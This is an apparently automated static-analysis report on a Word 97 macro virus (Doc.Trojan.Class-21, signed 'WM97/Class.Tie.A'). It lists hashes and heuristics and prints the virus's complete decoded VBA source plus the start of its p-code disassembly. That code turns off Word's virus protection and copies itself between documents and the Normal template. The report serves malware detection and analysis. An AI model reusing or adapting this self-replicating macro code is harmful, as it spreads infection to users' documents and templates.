Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f7db74f6ba9f1ef…

MALICIOUS

Office (OLE)

39.5 KB Created: 1998-12-18 01:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c6d87a50ee9162aa1cf7d910afd4c378 SHA-1: 1130e1b8ec61f70acc492c51d70fc4ff478fdd61 SHA-256: 5f7db74f6ba9f1ef7efbbb2c0749e94b0cbb144af8b4be79836b8998ebcee9cd
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including AutoOpen and Auto_Close, which are commonly used for malicious purposes. The script attempts to export a component and then re-import it, suggesting a macro infection or propagation mechanism. The presence of legacy markers and the AutoOpen/Auto_Close functions strongly indicate a malicious intent, likely to spread or execute further malicious code.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-21 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-21
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9845 bytes
SHA-256: 6c9aa4511fd4590a99af9866011dbaac2a5bed8644d389805cdee7eb3670636e
Detection
ClamAV: Doc.Trojan.Class-21
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo 73

Options.VirusProtection = Chr(48): x = 0: zz = 1: vf = 4: cx = 2

Options.SaveNormalPrompt = Chr(48)

Options.ConfirmConversions = Chr(48)

ties = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.CountOfLines

tier = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.CountOfLines

If tier > 74 And ties > Sgn(x) Then GoTo 73

If tier < 74 Then

 Set tvir = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1))))

 ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).Name = tvir.Name

 ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).Export Windows.Application.Path & Chr(84) + Chr(73) + Chr(69) + Chr(46) + Chr(100) + Chr(108) + Chr(108)

End If

If ties = Sgn(x) Then Set tvir = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1))))

 Infection = Int(Rnd * 100)

 If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)

 If Month(Now()) > 6 And Day(Now()) = 15 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "Class Tie Document!"

 tvir.codemodule.AddFromFile Windows.Application.Path & Chr(84) + Chr(73) + Chr(69) + Chr(46) + Chr(100) + Chr(108) + Chr(108)

 With tvir.codemodule

    For j = Abs(zz) To Abs(vf)

    .deletelines Abs(zz)

    Next j

 End With

 If tier < 74 Then

    With tvir.codemodule

    .replaceline Abs(zz), "Sub AutoClose()"

    .replaceline 79, "Sub ToolsMacro()"
       
    rd1 = Int(Rnd * 25)

 If rd1 = 24 Then .replaceline 67, ".replaceline j, Chr(39) & Application.ActivePrinter & Application.ActiveWindow"
    
End With

 End If

 With tvir.codemodule

    For j = Abs(cx) To 76 Step Abs(cx)

    .replaceline j, Chr(39) & Application.Assistant & Application.DisplayRecentFiles & Application.FocusInMailHeader & Application.Build & Application.StartupPath & Application.ActiveDocument & Application.Version

    Next j

 End With

73:

 If tier > 74 And ties = Sgn(x) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

 End Sub

Sub ViewVBCode()

End Sub 'WM97/Class.Tie.A By Virus ;) Smile

' Processing file: /opt/analyzer/scan_staging/291cc1ed6cb94655914ecc11b395cb22.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4756 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	OnError 73 
' Line #3:
' Line #4:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St x 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	St zz 
' 	BoS 0x0000 
' 	LitDI2 0x0004 
' 	St vf 
' 	BoS 0x0000 
' 	LitDI2 0x0002 
' 	St cx 
' Line #5:
' Line #6:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' Line #8:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ties 
' Line #11:
' Line #12:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St tier 
' Line #13:
' Line #14:
' 	Ld tier 
' 	LitDI2 0x004A 
' 	Gt 
' 	Ld ties 
' 	Ld x 
' 	FnSgn 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 73 
' 	EndIf 
' Line #15:
' Line #16:
' 	Ld tier 
' 	LitDI2 0x004A 
' 	Lt 
' 	IfBlock 
' Line #17:
' Line #18:
' 	SetSt
... (truncated)